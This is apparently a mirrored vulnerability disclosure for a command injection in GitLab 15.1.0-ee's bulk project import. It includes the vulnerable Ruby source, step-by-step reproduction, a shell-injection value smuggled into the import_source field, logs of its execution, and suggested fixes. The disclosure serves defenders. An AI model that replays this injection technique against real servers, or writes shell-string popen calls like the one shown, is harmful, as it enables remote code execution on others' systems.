8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.389 Low
EPSS
Percentile
96.7%
The DecompressedArchiveSizeValidator
is used to check the size of a archive before extracting it:
def command
"gzip -dc #{@archive_path} | wc -c"
end
def validate
pgrp = nil
valid_archive = true
Timeout.timeout(TIMEOUT_LIMIT) do
stdin, stdout, stderr, wait_thr = Open3.popen3(command, pgroup: true)
stdin.close
Since command
is a string and passed directly to Open3.popen3
it will be interpreted as a shell command, so if archive_path
contains any special characters it can be used to run arbitrary commands.
One of the places that the DecompressedArchiveSizeValidator
is used is in the Gitlab::ImportExport::FileImporter,
def size_validator
@size_validator ||= DecompressedArchiveSizeValidator.new(archive_path: @archive_file)
end
It gets @archive_file
from the constructor, and is used by the Gitlab::ImportExport::Importer which gets it from project.import_source
.
Under normal circumstances import_source
is nil and is generated by the FileImporter
using @archive_file = File.join(@shared.archive_path, Gitlab::ImportExport.export_filename(exportable: @importable))
.
Most of the places I’ve checked do not allow you to set the import_source
for a project, or have the import_type
set to something other than gitlab_project
or gitlab_custom_project_template
(which is required to use the ::Gitlab::ImportExport::Importer
).
There is one place though, in the BulkImports::Projects::Pipelines::ProjectPipeline
. Luckily this is disabled by default as it requires the bulk_import_projects
feature to be enabled. If/once this feature is enabled, it’s possible to trigger the above flow.
This is possible as the two transformer on the ProjectPipeline
are :BulkImports::Common::Transformers::ProhibitedAttributesTransformer
and ::BulkImports::Projects::Transformers::ProjectAttributesTransformer
, which first removes a list of prohibited keys:
PROHIBITED_REFERENCES = Regexp.union(
/\Acached_markdown_version\Z/,
/\Aid\Z/,
/_id\Z/,
/_ids\Z/,
/_html\Z/,
/attributes/,
/\Aremote_\w+_(url|urls|request_header)\Z/ # carrierwave automatically creates these attribute methods for uploads
).freeze
And then sets a few other values:
entity = context.entity
visibility = data.delete('visibility')
data['name'] = entity.destination_name
data['path'] = entity.destination_name.parameterize
data['import_type'] = PROJECT_IMPORT_TYPE
data['visibility_level'] = Gitlab::VisibilityLevel.string_options[visibility] if visibility.present?
data['namespace_id'] = Namespace.find_by_full_path(entity.destination_namespace)&.id if entity.destination_namespace.present?
data.transform_keys!(&:to_sym)
All of the other params are allowed and passed directly into project = ::Projects::CreateService.new(context.current_user, data).execute
. The first thing the create service does its to check if it’s creating from a template, and if so the CreateFromTemplateService
is used instead:
def execute
if create_from_template?
return ::Projects::CreateFromTemplateService.new(current_user, params).execute
end
# ...
end
def create_from_template?
@params[:template_name].present? || @params[:template_project_id].present?
end
Since we control all of the params, this path can be triggered by setting template_name
to a valid template such as rails
. This then uses the GitlabProjectsImportService
which allows the import_type
to be changed from gitlab_project_migration
to gitlab_project
.
def prepare_import_params
data = {}
data[:override_params] = @override_params if @override_params
if overwrite_project?
data[:original_path] = params[:path]
params[:path] += "-#{tmp_filename}"
end
if template_file
data[:sample_data] = params.delete(:sample_data) if params.key?(:sample_data)
params[:import_type] = 'gitlab_project'
end
params[:import_data] = { data: data } if data.present?
end
The Projects::CreateService
service is then called again with the updated import_type
, but the rest of our params the same. This causes the import_schedule
to happen as @project.gitlab_project_migration?
is no longer true
def import_schedule
if @project.errors.empty?
@project.import_state.schedule if @project.import? && !@project.bare_repository_import? && !@project.gitlab_project_migration?
else
fail(error: @project.errors.full_messages.join(', '))
end
end
If a custom import_source
was used, it will be used as the @archive_file
for the Gitlab::ImportExport::FileImporter
. After wait_for_archived_file
has reached MAX_RETRIES
(it continues instead of failing) then validate_decompressed_archive_size
will be called and then Open3.popen3
with a controllable string.
https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/file_importer.rb#L45
wait_for_archived_file do
validate_decompressed_archive_size if Feature.enabled?(:validate_import_decompressed_archive_size)
decompress_archive
end
def wait_for_archived_file
MAX_RETRIES.times do |retry_number|
break if File.exist?(@archive_file)
sleep(2**retry_number)
end
yield
end
sudo gitlab-rails console
then ::Feature.enable(:bulk_import_projects)
sudo gitlab-ctl tail
PROJECT_PATH
to the full path of the project above and PROJECT_ID
to its id"import_source":"/tmp/ggg;echo lala|tee /tmp/1234;#",
to be your custom command (it cannot contain >
as json will convert it to \u003c
)proxies={"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}
if you are not using burp/another proxyFLASK_APP=api_project_ql.py flask run
ngrok http 5000
Import groups from another instance of GitLab
sectionNo parent
and choose a new group namewait_for_archived_file
has timed out (takes a few minutes) you should see something like following error in the logs and the payload will execute:command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error is not recoverable: exiting now
vagrant@gitlab:~$ cat /tmp/1234
lala
vagrant@gitlab:~$
If the bulk_import_projects
feature is enabled, allows an attacker to execute arbitrary commands on a gitlab server
DecompressedArchiveSizeValidator
passes a string to popen
that can contain attacker controlled dataProjectPipeline
does not correctly filter the project paramsDecompressedArchiveSizeValidator
should use Gitlab::Popen
and the command should be an array of stringsProjectPipeline
should use the Gitlab::ImportExport::AttributeCleaner
or just have a whitelist of allowed params{
"severity": "ERROR",
"time": "2022-06-23T01:52:57.556Z",
"correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",
"exception.class": "Gitlab::ImportExport::Error",
"exception.message": "command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory\ntar (child): Error is not recoverable: exiting now\ntar: Child returned status 2\ntar: Error is not recoverable: exiting now",
"user.username": "vakzz",
"tags.program": "sidekiq",
"tags.locale": "en",
"tags.feature_category": "importers",
"tags.correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",
"extra.sidekiq": {
"retry": false,
"queue": "repository_import",
"version": 0,
"backtrace": 5,
"dead": false,
"status_expiration": 86400,
"memory_killer_memory_growth_kb": 50,
"memory_killer_max_memory_growth_kb": 300000,
"args": [
"31"
],
"class": "RepositoryImportWorker",
"jid": "9d28590a58ec7db944453edc",
"created_at": 1655948922.4369478,
"correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",
"meta.user": "vakzz",
"meta.client_id": "user/2",
"meta.caller_id": "BulkImports::PipelineWorker",
"meta.remote_ip": "192.168.0.144",
"meta.feature_category": "importers",
"meta.root_caller_id": "Import::BulkImportsController#create",
"meta.project": "imported_13/export_project",
"meta.root_namespace": "imported_13",
"worker_data_consistency": "always",
"idempotency_key": "resque:gitlab:duplicate:repository_import:e64a87ccd733ff3c9b12cd20d98ea1d44a21196e9d0398c0af668ee84bf77358",
"size_limiter": "validated",
"enqueued_at": 1655948922.442958
},
"extra.importer": "Import/Export",
"extra.exportable_id": 31,
"extra.exportable_path": "imported_13/export_project",
"extra.import_jid": null
}
System information
System: Ubuntu 20.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.5p203
Gem Version: 3.1.4
Bundler Version:2.3.15
Rake Version: 13.0.6
Redis Version: 6.2.7
Sidekiq Version:6.4.0
Go Version: unknown
GitLab information
Version: 15.1.0-ee
Revision: 31c24d2d864
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.10
URL: http://gitlab.wbowling.info
HTTP Clone URL: http://gitlab.wbowling.info/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.7.4
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
If the bulk_import_projects
feature is enabled, allows an attacker to execute arbitrary commands on a gitlab server.
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.389 Low
EPSS
Percentile
96.7%